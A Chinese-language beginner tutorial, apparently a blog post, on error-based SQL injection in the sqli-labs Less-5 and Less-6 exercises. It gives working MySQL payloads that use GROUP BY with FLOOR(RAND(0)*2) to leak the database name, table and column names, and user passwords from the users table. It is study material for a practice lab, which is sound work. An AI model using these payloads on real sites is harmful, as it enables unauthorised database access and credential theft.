web安全入门之SQL注入-报错型注入

SQL注入之报错型注入法

1.报错型注入分析

报错型注入法适用于无回显数据的场景,适合于没有显示位的web页面,但是有mysql报错输出的场景。metasploitable2-Linux在Less-5和Less-6中就用到了报错型注入方法

这种页面有明显的三种场景
场景1:正确查询成功场景为结果显示。
场景2:正确查询失败场景为空,不显示。
场景3:错误语句查询场景,显示报错语句。
web安全入门之SQL注入-报错型注入_第1张图片
在这种情况下,不管输入任何正确的查询语句,web页面只会回显同样的正确的结果,此时联合查询的方法显然失效。

此时我们要通过其错误输出语句来爆出数据库中的数据,所以称之为报错型注入法。

解决方法:

我们通过构造一些错误的函数,来达到其报错语句中输出正确的数据来达到爆数据的效果

分组函数count(),在与某些函数在共用时会产生异常的效果,但该异常能调用数据库信息,从而输出正确的结果。
MAX Hackbar提供了一些错误函数的构造,我们可以借助此工具

2.Less-5

1.测试其闭合

关键SQL注入语句
/?id=1’ and 1=1 --+
/?id=1’ and 1=2 --+

测的其闭合结果为’'单引号闭合
web安全入门之SQL注入-报错型注入_第2张图片

2.二分法求其表的列数

关键SQL注入语句
/?id=1’ order by 10 --+
/?id=1’ order by 5 --+
/?id=1 ’ order by 3 --+
/?id=1 ’ order by 4 --+

测得其列数为3列
web安全入门之SQL注入-报错型注入_第3张图片

3.通过构造报错语句爆出库名

按照联合查询法的步骤,这步应该为测其web页面显示位,但是此时web页面正确的输出结果只有一句you are in …,此时我们不能通过联合查询法,我们可以通过构造一些错误的函数直接来爆出其数据库名
使用工具:Max HackBar
关键SQL注入语句

OR 1 GROUP BY CONCAT_WS(0x3a,database(),FLOOR(RAND(0)*2)) HAVING MIN(0) OR 1

//构造错误并且能够输出正确的一部分查询结果语句,这个里面有效输出位为concat_ws(version())我们就可以替换该有效输出位(user(),database()等)

0x3a:为分割符,0x3a为:的十六进制数,0x3a=char(58)
此语句group by和floor函数在配合时出现问题,导致输出正确结果database()

web安全入门之SQL注入-报错型注入_第4张图片

4.通过构造函数爆出列名

关键SQL注入语句

AND(SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT(SELECT CONCAT(CAST(table_name AS CHAR),0x7e)) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=DATABASE() LIMIT 0,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a)

其中count(*) 和floor(rand(0)*2)引发报错

可以调整的部分:
1.table_name可更换
2.0x7e为~的源码
3.information_schema.tables是系统数据库存表名的一张表,可更换

table_name与limit限制配合时只能输出单个数据
为了更好的可读性我们可以将table_name用函数group_concat(table_name)替换,使其输出所有的表名
web安全入门之SQL注入-报错型注入_第5张图片

5.通过构造函数来输出列名

输出列名的SQL语句与表类似,修改其系统表tables->columns

关键SQL注入语句

Max HackBar给出的构造为
AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT(SELECT CONCAT(CAST(column_name AS CHAR),0x7e)) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x7573657273 AND table_schema=DATABASE() LIMIT 0,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a)

为了更好的可读性,我们可以修改其构造:
AND(SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT(SELECT CONCAT(CAST(group_concat(column_name) AS CHAR),0x3a)) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema=DATABASE() AND table_name=‘users’ ),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a)
web安全入门之SQL注入-报错型注入_第6张图片

6.爆出数据

函数Concat_ws
Concat_ws(0x3a,id,username,password)
其输出格式为id:username:password

关键SQL注入语句

Max HackBar给出的构造为:
AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT(SELECT CONCAT(CAST(CONCAT(password) AS CHAR),0x7e)) FROM users LIMIT 0,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a)

为了更好的可读性,我们可以修改其构造:
AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT(SELECT concat_ws(0x3a,id,username,password)) FROM security.users limit 0,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a)
web安全入门之SQL注入-报错型注入_第7张图片

3.Less-6

less-6与Less-5同样使用,报错型注入,结果相同,区别在于其闭合方式不同,之后的步骤与Less-5一致,再此不详细分析其步骤

1.测其闭合方式

关键SQL注入语句
/?id=1" and 1=1 --+
/?id=1" and 1=2 --+

测的其闭合结果为’'双引号闭合
web安全入门之SQL注入-报错型注入_第8张图片

你可能感兴趣的:(web安全-SQL注入,SQL注入,MYSQL,安全,WEB,网络)